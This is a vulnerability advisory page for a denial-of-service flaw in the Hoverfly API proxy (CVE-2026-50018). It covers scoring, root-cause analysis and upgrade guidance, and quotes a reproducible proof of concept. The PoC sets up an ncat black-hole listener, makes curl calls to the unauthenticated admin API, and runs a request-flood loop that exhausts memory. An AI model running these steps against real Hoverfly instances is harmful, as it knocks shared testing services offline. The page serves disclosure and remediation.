Skip to main content

Hoverfly CVE-2026-50018

MEDIUM
Uncontrolled Resource Consumption (CWE-400)
2026-07-14 https://github.com/SpectoLabs/hoverfly GHSA-42j2-w334-qxw7
6.5
CVSS 3.1 · Vendor: https://github.com/SpectoLabs/hoverfly
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Reach unauthenticated admin API
  2. Delivery
    Register black-hole remote post-serve action
  3. Exploit
    Load catch-all simulation
  4. Install
    Flood proxy port with matching requests
  5. C2
    Goroutines block indefinitely in http.DefaultClient.Do()
  6. Execute
    Memory exhausted
  7. Impact
    Process OOM-killed

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Two sequential unauthenticated API calls to the Hoverfly admin API (port 8888, unauthenticated by default) are required before proxy traffic triggers the leak. First, PUT /api/v2/hoverfly/post-serve-action must register a remote action with a remote URL pointing to a non-responsive endpoint - specifically a server that accepts the TCP connection but never sends an HTTP response (black-hole listener, non-routable IP, TLS stall, or TCP zero-window server). Second, PUT /api/v2/simulation must load a simulation pairing a request matcher to that action via the postServeAction field. Once both conditions are in place, every matching proxy request through port 8500 triggers a leaking goroutine. Exploitation is blocked if the admin API port is firewalled from untrusted networks, bound exclusively to localhost, or protected by an authenticating reverse proxy. Hoverfly's typical deployment as a local developer tool or in controlled CI environments substantially limits real-world exposure.

Impact

The NVD-assigned CVSS 3.1 score of 6.5 with vector AV:N/AC:L/PR:N/UI:R reflects network-reachable unauthenticated exploitation but applies UI:R, suggesting the attacker needs a separate user's interaction. This appears conservative: the attacker controls all required steps - registering the action, loading the simulation, and sending proxy traffic - without requiring a victim's participation, warranting UI:N and a recalculated base score of 7.5. The admin API is explicitly described as unauthenticated by default, eliminating the credential barrier. No EPSS data was provided in the input, so no probability estimate is made. The publicly available step-by-step POC with reproducible memory measurements in the GitHub advisory significantly elevates practical exploitability compared to an unexploited theoretical finding. The absence of a CISA KEV listing suggests no widespread in-the-wild exploitation at time of analysis. Real-world blast radius is tempered by Hoverfly's deployment context: it is a developer/testing tool rarely exposed to untrusted networks, making exploitation largely limited to shared CI/CD pipelines or misconfigured testing environments where the admin port (8888) is internet-accessible. Impact is strictly availability (A:H); no confidentiality or integrity exposure is present.

Exploit ScenarioDerived

An attacker reaching Hoverfly's unauthenticated admin API sends a PUT to /api/v2/hoverfly/post-serve-action registering a remote action pointing to a TCP black-hole (e.g., a non-routable IP like 192.0.2.1:9999 that accepts connections but never responds), then a PUT to /api/v2/simulation loading a catch-all glob-match simulation that references that action on every response. The attacker then floods Hoverfly's proxy port with HTTP requests; each request spawns an immortal goroutine consuming ~66 KB, and at 10,000 requests approximately 640 MB of memory is leaked, triggering an OOM kill of the Hoverfly process. A fully reproducible POC with step-by-step shell commands and verified memory measurements is published in the GitHub advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 22, 2026

Unbounded goroutine accumulation in Hoverfly v1.12.7 and earlier allows remote denial of service via its remote post-serve action feature. The unauthenticated admin API permits any network-reachable attacker to register a post-serve action pointing at a black-hole TCP endpoint, load a catch-all simulation, then flood the proxy port - each matching request spawns a goroutine that blocks indefinitely in http.DefaultClient.Do(), consuming approximately 66 KB each until the process is OOM-killed. A detailed proof-of-concept with verified memory measurements is publicly available in GitHub Security Advisory GHSA-42j2-w334-qxw7; no CISA KEV listing has been recorded at time of analysis.

RemediationAI

Upgrade to Hoverfly v1.12.8, which resolves the vulnerability by replacing http.DefaultClient with a dedicated http.Client{Timeout: 30 * time.Second} in the remote post-serve action executor, as implemented in PR #1228 (https://github.com/SpectoLabs/hoverfly/pull/1228). This ensures goroutines are released after 30 seconds regardless of endpoint behavior. If immediate upgrade is not feasible, restrict network access to the admin API (default port 8888) via host-based firewall rules or by binding it to localhost only - this prevents untrusted actors from registering remote post-serve actions and loading malicious simulations, which are the necessary preconditions for exploitation. This network control does not affect proxy functionality on port 8500. As an additional precaution, audit any existing simulations for remote post-serve actions pointing to external or untrusted endpoints and remove them until patched.

Affected Packages

go github.com/spectolabs/hoverfly fix: 1.12.8

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Hoverfly is a Go-based service virtualization proxy (pkg:go/github.com/SpectoLabs/hoverfly) used for API simulation and testing. The flaw resides in core/action/action.go within the Execute() function, which issues HTTP POST requests to remote endpoints using Go's http.DefaultClient - a package-level shared client whose Timeout field is zero by default, meaning no deadline is ever set. Each proxy request matching a simulation with a remote post-serve action unconditionally spawns a new goroutine via go postServeAction.Execute(...) in core/hoverfly.go:224-228. If the remote server accepts the TCP connection but never delivers an HTTP response (black-hole listener, TLS stall, or TCP window-size-zero flow-control freeze), the goroutine blocks permanently in http.DefaultClient.Do() with no context cancellation, no deadline, and no cleanup path. The root cause class is CWE-400 (Uncontrolled Resource Consumption): there is no goroutine pool, semaphore, or backpressure mechanism limiting concurrent remote action goroutines.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/SpectoLabs/hoverfly) PRIMARY 6.5 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
vuln.today AI 7.5 HIGH

Attacker controls all required steps without victim interaction, removing UI:R; admin API is unauthenticated by default (PR:N); impact is availability-only.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/SpectoLabs/hoverfly).

CVSS VectorVendor: https://github.com/SpectoLabs/hoverfly

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary:

Remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.

Details:

1. Remote actions executed in goroutines without timeout (core/hoverfly.go:224-228):

go
go postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)

Post-serve actions are executed in separate goroutines with no recovery wrapper.

2. HTTP client has no timeout (core/action/action.go:128-143):

go
req, err := http.NewRequest("POST", action.Remote, bytes.NewBuffer(pairViewBytes))
// ...
resp, err := http.DefaultClient.Do(req)  // No timeout! Blocks forever.

http.DefaultClient has zero timeout by default in Go. If the remote server:

  • Accepts the TCP connection but never sends a response
  • Establishes TLS but never completes the handshake
  • Uses TCP window size 0 (flow control stall)

...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.

3. No goroutine limit or backpressure:

There is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.

4. The goroutine is never cleaned up:

The only exit path from Execute() is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.

Environment:

  • Hoverfly version: v1.12.7
  • Operating System: macOS Darwin 25.4.0
  • Go version: 1.26.2
  • Configuration: Default (no flags required)

POC:

Step 1: Start a black-hole TCP listener (accepts connections, never responds)

bash
# Option A: Use ncat
ncat -l -k 9999 &
# Option B: Use a non-routable IP (connections hang at TCP SYN)
# 192.0.2.1 is TEST-NET-1, guaranteed non-routable
# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)

Step 2: Register remote post-serve action pointing to the black hole

bash
curl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \
  -H "Content-Type: application/json" \
  -d '{
    "actionName": "leak",
    "remote": "http://192.0.2.1:9999/blackhole",
    "delayInMs": 0
  }'

Step 3: Load a catch-all simulation

bash
curl -X PUT http://localhost:8888/api/v2/simulation \
  -H "Content-Type: application/json" \
  -d '{
    "data": {
      "pairs": [{
        "request": {"path": [{"matcher": "glob", "value": "*"}]},
        "response": {"status": 200, "body": "ok", "postServeAction": "leak"}
      }],
      "globalActions": {"delays": [], "delaysLogNormal": []}
    },
    "meta": {"schemaVersion": "v5.2"}
  }'

Step 4: Flood with requests

bash
# Each request spawns an immortal goroutine
for i in $(seq 1 10000); do
    curl -s -x http://localhost:8500 "http://target.com/req${i}" &
# Throttle to avoid local FD exhaustion
    [ $((i % 100)) -eq 0 ] && wait
done

Verified memory impact on Hoverfly v1.12.7:

Memory before: 20,064 KB
Memory after 50 requests: 23,376 KB
Memory increase: 3,312 KB (66 KB per goroutine)

At this rate:

  • 1,000 requests = ~64 MB leaked
  • 10,000 requests = ~640 MB leaked
  • 100,000 requests = ~6.4 GB leaked → OOM crash

Impact:

An attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:

  1. Registering a remote post-serve action pointing to a non-responsive endpoint.
  2. Loading a catch-all simulation that triggers the action on every request.
  3. Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.

Threat Intelligence Overview

EPSS Score
0.3%
Top 78% exploitable
Prevalence
Low
niche developer/testing proxy, not deployed in production environments
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Affected Products (CPE)CVE.org

pkg:go/github.com_spectolabs_hoverfly

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy